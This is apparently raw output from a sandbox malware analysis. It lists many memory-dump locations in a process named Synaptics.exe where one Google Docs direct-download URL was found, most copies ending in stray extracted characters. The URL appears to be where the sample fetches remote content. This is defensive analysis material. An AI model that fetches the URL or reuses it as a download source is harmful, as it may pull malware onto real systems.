Source: Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP3R
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPW
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPm
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ$n
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ1R
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ=l
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRiS
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadServe
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadShQ
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSwN
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT0n
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU?
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUOOJ
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUS1
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUU
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUjk
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUqH
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV(
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV?U
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVU
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVkl
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWV
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWrJ
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXT
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXef
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYif
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ)
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ7m
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZnk
Source: Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_W
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada7b
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada9
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaZ
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb/
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb9A
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbV
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbrA
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcdn.gL
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle)y
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle:
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelleFx
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellecu~
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelleh
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellx
